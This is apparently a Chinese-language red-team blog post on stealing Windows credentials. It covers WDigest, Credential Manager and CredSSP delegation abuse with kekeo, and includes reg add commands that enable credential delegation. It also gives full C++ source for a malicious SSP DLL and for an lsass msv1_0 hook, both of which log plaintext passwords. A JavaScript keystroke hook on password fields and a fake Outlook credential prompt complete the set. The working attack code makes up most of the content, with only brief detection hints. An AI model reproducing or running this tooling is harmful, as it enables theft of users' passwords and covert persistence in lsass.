sekurlsa::wdigest
开启之后抓取密码是这样的:
可以看到已经成功抓取到铭文密码。
注:Metasploit中存在post/windows/manage/wdigest_caching
自动修改注册表的模块
转储委派的Kerberos和NTLM凭证,不接触Lsass
渗透技巧——Windows中Credential Manager的信息获取
注:建议阅读三好学生原文
渗透测试实战第三版(红队版)——从 Windows 凭据管理器和浏览器获取密码
Kinds of Credentials
Credentials Processes in Windows Authentication
control keymgr.dll #打开凭据管理
Credential Manager(凭据管理器)是Windows 7 或Windows Server 2008 R2 中引入的一项功能,用来保存系统、网站和服务器的用户、密码和证书。使用 Microsoft IE/EDGE 进行验证时,会提示“是否保存密码”,如果选择存储,再次验证时,则会自动登录。
例如,使用RDP,选择记住凭据,则会在凭据管理器种新增一条Windows凭据:
凭据管理器中分为两种类型的凭据:
Web 凭据:Microsoft IE/EDGE(Edge Chromium版不同)
Windows 凭据:登录windows的凭据,SMB共享、RDP等等
这部分不同Windows 版本上有点不同,例如Windows 7 仅有Windows 凭据、基于证书的凭据、普通凭据,没有Web凭据
Windows凭据中又有三种类型:Windows 凭据、基于证书的凭据、普通凭据。
在微软文档中 Credentials Management API,分为两类凭据,Domain Credentials(域凭据)和Generic Credentials(通用凭据)
域凭据只能由LSA进行读写,通用凭据可由用户进程进行读取和写入。
#相关票据可打开控制面板查看,也可以使用以下命令
cmdkey /list #显示所有已存储的用户名和票据
cmdkey /add:server01 /user:mikedan /pass:Kleo #添加用户名和密码为凭据
cmdkey /add:server01 /user:mikedan #不指定密码添加凭据
cmdkey /delete /ras #删除远程访问存储的凭据
cmdkey /delete:server01 #删除凭据
#注:该命令修改的是Windows凭据,非Web凭据
#注:不同用户的%localappdata%不同,cmdkey 修改只对当前用户的凭据,例如:在A用户使用cmdkey 修改,B(可以是域用户)用户是无法查看的。
参考:Cmdkey
凭据的保存的位置在%localappdata%/Microsoft\Vault
,称为保管库。
#修改保管库相关命令
VaultCmd /list #列出保管库
VaultCmd /listschema #列出凭据架构
VaultCmd /listcreds
#中文系统请使用中文
vaultcmd /listcreds:"Web 凭据" #查看保管库中的凭据
vaultcmd /listcreds:"Windows 凭据"
VaultCmd /addcreds #添加保管库,具体参数请自行查看
VaultCmd /deletecreds #删除保管库
VaultCmd /listproperties #查看保管库属性,需指定保管库
VaultCmd /sync #同步,可能和引用商店密码有关,具体笔者未知
另外mimikatz中也提供了相关命令可以查看保管库中的相关信息(WEB凭据是明文的,Domain Password加密存储,暂且不知道如何解密)
给想要解密的小伙伴提供一些思考:猜测这个也和DPAPI有关
了解了以上的知识再来看本小节的主题,凭据分配
参考:Credential theft without admin or touching LSASS with Kekeo by abusing CredSSP / TSPKG (RDP SSO)
凭据分配可以让管理员(域管理员)授权某些SPN(服务)接受分配的凭据。
例如,开启分配凭据,RDP免输入凭据直接链接。
这里涉及到组策略设置,默认未配置,比较奇怪的时,默认组策略下,记住凭据可以二次链接可以免凭据链接。
这里就产生一个疑问,是否向RDP server 分配了凭据。我猜测是不会的,待确认。
相关组策略:
注:笔者域环境,所以在域控下发组策略,配置之后请gpupdate
几个凭据很容易弄混,解释下这里出现的3种凭据:
默认凭据是首次登录 Windows 时要使用的凭据
保存的凭据是指凭据管理中保存的凭据
新的凭据是指执行应用程序时提示输入的凭据
相关设置在注册表中的项为:HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CredentialsDelegation
如果未配置,则项不存在,此处启用允许分配默认凭据
,服务器列表的值为TERMSRV/*
(这个值实际上就是SPN),另外系统的默认分配凭据的组策略在注册表中路径为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults
。
kekeo可列举注册表中的值:
组策略配置开启”允许分配默认凭据“,策略设置的值TERMSRV/*
:
#SRV-DB-0DAY 上操作
.\PsExec64.exe -s cmd #以System权限,或者以其他方式得到system权限
tsssp::list #检测注册表相关配置
tsssp::server #
#PC-jerry-0day
tsssp::client /target:TERMSRV/SRV-DB-0DAY /pipe:\\SRV-DB-0DAY\pipe\kekeo_tsssp_endpoint
#整个操作过程如图所示
*SRV-DB-0DAY *捕获到分配的凭据:
另外PC-jerry-0day上的将生成一个新的票据:
组策略配置启用“允许分配默认凭据”和“允许分配默认凭据用户仅NTLM身份验证”,且设置的值都为“*”。
这里开启了两个kekeo
,一个做clien
,一个做server
:
注:都是标准用户(域用户,非管理权限)
#客户端无法验证服务器的,`tsssp::client /target:A`中的A可以是任意值
tsssp::client /target:A
tsssp::server
可以看到捕获的是当前账号0day\jerry
的密码,注意:当前凭据管理中是没有该账号的,仅有RDP保存的0day\sqladmin
:
即实现了不接触Lsass得到当前账号的密码。
可能遇到的目标未启用分配凭据,如何启用分配票据:
RDP链接过去直接改组策略,并修改服务器的值为*
cmd下使用reg
命令修改注册表,并修改服务器的值为*
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d "*"
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d "*
#如何恢复
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f #删除所有项
#以上操作需要管理权限
笔者未复现成功,但大致了解了整个过程
假设当前是system
,首先先寻找其他用户的进程(改用户可以是标准用户,也可以是管理员用户):
tasklist /v |findstr /I Jerry
使用kekeo
开启server:
tsssp::server #kekeo中,标准用户身份即可
开启另外一个终端,使用mimikatz
以注入进程(jerry身份运行的进程),执行tsssp::client
:
笔者理解的是进程注入,可能有误
process::runp /pid:3344 /run:"kekeo.exe \"tsssp::client /target:A\" exit"
最终tsssp::server
收到分配的凭据。
小结
实际上感觉还有更好的方式实现,例如使用模拟令牌或者其他注入进程的工具实现身份的窃取,使用tsssp::client
即可获得明文密码。
通过注册表查询已开启分配凭据
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation #检查分配凭据是否开启
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredent
参考:
gpresult
Get-GPOReport
gpresult /h report.html #默认是本地的
#or
Get-GPOReport -All -Domain "0day.org" -Server "OWA2010SP3" -ReportType html -Path "C:\Users\jerry.0day\GPOReportsAll.html"
#推荐前者,拉取本地内容,速度快
导出组策略为html文件,通过浏览器查看相关策略设置。至此这一小节结束。
Security Support Provider(安全支持提供者),简称SSP,其具体实现为一个DLL,这些DLL在系统启动时注入到 lsass.exe 进程中,或者通过AddSecurityPackage API
动态注入。
copy mimilib.dll %systemroot%\system32 #使用对应位数的mimilib.dll
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f #\0是为了换行
#以上操作需管理员权限
shutdown /r /t 0 #重启登录
type %systemroot%\system32\kiwissp.log
reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" /d "" /t REG_MULTI_SZ /f #恢复配置
通过AddSecurityPackageA
API动态注入Lsass.exe进程。
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include
#include
#include
#include
#pragma comment(lib,"crypt32.lib")
int main()
{
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"C:\\Users\\jerry\\mimilib.dll", &spo);
return 0;
}
实际上mimikatz中也提供了对应的命令:
privilege::debug
misc::memssp
type %systemroot%\system32\mimilsa.log
监控注册表hklm\system\currentcontrolset\control\lsa\
查看 lsass进程已加载的DLL
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include "stdafx.h"
#include
#include
#include
#include
#include
#pragma comment(lib,"crypt32.lib")
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->Name = (SEC_WCHAR *)L"SSSPotless";
PackageInfo->Comment = (SEC_WCHAR *)L"SSSPotless ";
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->wVersion = 1;
return 0;
}
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
HANDLE outFile = CreateFile(L"c:\\temp\\logged-pw.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesWritten = 0;
std::wstring log = L"";
std::wstring account = AccountName->Buffer;
std::wstring domain = PrimaryCredentials->DomainName.Buffer;
std::wstring password = PrimaryCredentials->Password.Buffer;
log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
CloseHandle(outFile);
return 0;
}
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
以上代码来自mimikatz,修改了一部分,可编译SSP DLL,截取认证信息保存到c:\\temp\\logged-pw.txt
一些SSP相关链接和Trick
参考:
Mimikatz中SSP的使用
Security Support Provider
Security Support Provider——MSDN
探索Mimikatz神器之SSP
Persistence – Security Support Provider
Empire框架中提供了Install-SSP.ps1实现不重启加载SSP
PowerSploit中Invoke-Mimikatz实现不重启加载SSP(Invoke-Mimikatz -Command "misc::memssp"
)
SharpSploit 中提供了Mimi-Command misc::memssp
实现不重启加载SSP
RDP连接目标,目标正在使用WEB应用
想要目标的WEB应用凭据,并且不想使用键盘记录等工具
目标WEB应用选项卡已打开
Events
WEB应用中 定义密码字段的的 input
属性为password
:
所有的Web元素都可以相应各种类型的事件,并且在这些事件发生时执行代码,例如,输入字段可以相应诸如onFocus(对象获得焦点)、onBlur (对象失去焦点)和其他事件,其中包括keypress、 onKeyDown 和 onKeyUp 的各种键盘事件。
更多关于 Events 的信息——HTML Event Attributes
t=""; $('input[type="password"]').onkeypress = function (e) { t+=e.key; console.log(t); localStorage.setItem("pw", t); }
上述代码只捕获password ,用户名也可以用同样的方式获得
大概解释下:
在目标Web 应用程序的HTML中选择类型为password
的输入字段
使用一个函数绑定到onkeypress
事件,该函数在用户登录到目标应用程序时,捕获用户在密码字段中输入的按键
处于演示的目的,该函数讲捕获的按键打印到浏览器的控制台。
该函数将捕获的密码存储的浏览器的本地存储pw
字段中。
如果目标在捕获密码之前关闭针对的WEB应用程序选项卡,则 Hooking将被清除,Hooking 需要在此重复操作。
Tips:如何清空控制台,这里使用的时Ctrl+r (重新加载网页)
通过控制台读取本地存储
localStorage.pw
即使浏览器关闭,任然可行
磁盘上的LocalStorage 文件
Local Storage
在的路径为%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb
的****.log
中,笔者的是003356.log
.
笔者chrome 版本v83 ,不同版本路径有差异。
打开文本文件搜索pw
字段即可找到保存的密码。
未复现成功
上面的代码很容易修改为每次按键时将密码发送给攻击者控制的Web服务器,而无需使用控制台查看或者查看LocalStorage 的文件。
转移密码时请使用加密的通信
LocalStoraged的*****.log
中包含了插入的Hooking 代码,因此可监控%localappdata%\Google\Chrome\User Data\Profile 1\Local Storage\leveldb
中的***.log
文件,文件包含JavaScript 密码选择器和关键词onkeypress
、onkeyup
、onkeydown
等。
参考:
深入分析Mimikatz:SSP
Exploring Mimikatz - Part 2 - SSP
这一章限于笔者个人知识面,无法理解,因此这里只介绍如何使用:
#define SECURITY_WIN32
#include "stdafx.h"
#include
#include
#include
#include
#include
using _SpAcceptCredentials = NTSTATUS(NTAPI *)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
char startOfPatternSpAccecptedCredentials[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
char bytesToPatchSpAccecptedCredentials[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfSpAcceptCredentials = NULL;
char bytesToRestoreSpAccecptedCredentials[12] = { 0 };
void installSpAccecptedCredentialsHook();
PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
unsigned int index = 0;
PVOID patternAddress = NULL;
char
*patternByte = 0,
*memoryByte = 0;
do
{
if (startAddress[index] == pattern[0])
{
for (size_t i = 1; i < patternSize; i++)
{
*(char *)&patternByte = pattern[i];
*(char *)&memoryByte = startAddress[index + i];
if (patternByte != memoryByte)
{
break;
}
if (i == patternSize - 1)
{
patternAddress = (LPVOID)(&startAddress[index]);
return patternAddress;
}
}
}
++index;
} while (index < searchBytes);
return (PVOID)NULL;
}
NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
DWORD bytesWritten = 0;
HANDLE file = CreateFileW(L"c:\\temp\\credentials.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);
_SpAcceptCredentials originalSpAcceptCredentials = (_SpAcceptCredentials)addressOfSpAcceptCredentials;
// intercept credentials and write them to disk
WriteFile(file, PrimaryCredentials->DownlevelName.Buffer, PrimaryCredentials->DownlevelName.Length, &bytesWritten, NULL);
WriteFile(file, "@", 2, &bytesWritten, NULL);
WriteFile(file, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &bytesWritten, NULL);
WriteFile(file, ":", 2, &bytesWritten, NULL);
WriteFile(file, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &bytesWritten, NULL);
CloseHandle(file);
// unhook msv1_0!SpAcceptCredentials
WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToRestoreSpAccecptedCredentials, sizeof(bytesToRestoreSpAccecptedCredentials), NULL);
// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installSpAccecptedCredentialsHook, NULL, NULL, NULL);
// call original msv1_0!SpAcceptCredentials
return originalSpAcceptCredentials(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
void installSpAccecptedCredentialsHook()
{
Sleep(1000 * 5);
HMODULE targetModule = LoadLibraryA("msv1_0.dll");
DWORD bytesWritten = 0;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
// find address of msv1_0!SpAcceptCredentials
patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char *)targetModule, startOfPatternSpAccecptedCredentials, sizeof(startOfPatternSpAccecptedCredentials), sizeOfImage);
addressOfSpAcceptCredentials = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials - 16);
// store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
std::memcpy(bytesToRestoreSpAccecptedCredentials, addressOfSpAcceptCredentials, sizeof(bytesToRestoreSpAccecptedCredentials));
// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
DWORD_PTR addressBytesOfhookedSpAccecptedCredentials = (DWORD_PTR)&hookedSpAccecptedCredentials;
std::memcpy(bytesToPatchSpAccecptedCredentials + 2, &addressBytesOfhookedSpAccecptedCredentials, sizeof(&addressBytesOfhookedSpAccecptedCredentials));
std::memcpy(bytesToPatchSpAccecptedCredentials + 2 + sizeof(&addressBytesOfhookedSpAccecptedCredentials), (PVOID)&"\xff\xe0", 2);
WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToPatchSpAccecptedCredentials, sizeof(bytesToPatchSpAccecptedCredentials), (SIZE_T*)&bytesWritten);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
installSpAccecptedCredentialsHook();
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译为DLL,使用前面的AddSecurityPackageA
加载DLL,或者使用RPC通过LoadLibrary
来加载DLL(貌似通过RPC调用不会再lsass 加载DLL列表中)。
注:有能力的师傅,理解上述代码,根据原理,在实际环境中定制自己的payload,绕过AV或者EDR。
#include "stdafx.sh"
#include
#include
#pragma comment(lib, "Credui.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
CREDUI_INFO ci = { sizeof(ci) };
std::wstring promptCaption = L"Microsoft Outlook";
std::wstring promptMessage = L"Connecting to [email protected]";
ci.pszCaptionText = (PCWSTR)promptCaption.c_str();
ci.pszMessageText = (PCWSTR)promptMessage.c_str();
WCHAR username[255] = {};
WCHAR password[255] = {};
DWORD result = 0;
result = CredUIPromptForCredentialsW(&ci, L".", NULL, 5, username, 255, password, 255, FALSE, CREDUI_FLAGS_GENERIC_CREDENTIALS);
if (result == ERROR_SUCCESS)
{
HANDLE newToken = NULL;
BOOL credentialsValid = FALSE;
credentialsValid = LogonUserW(username, NULL, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &newToken);
if (credentialsValid)
{
// valid credentials provided
}
else
{
// invalid credentials provided
}
}
else if (result == ERROR_CANCELLED)
{
// no credentials provided
}
return 0;
}
另外:这里使用的函数是CredUIPromptForCredentialsW
,但作者推荐的使用CredUIPromptForWindowsCredentialsA
如果编译请选择C++ 桌面应用模板
在powershell中使用
Get-Credential
可以达到同样的效果。
弹出一个提示框,用以让用户输入密码,可以选择将其保存为文件或者通过网络发送至控制的服务器(这部分代码没有写明)。
略,这部分笔者暂时未成功复现。至此凭据收集暂告一段落。
虽然我们生活在阴沟里,但依然有人仰望星空!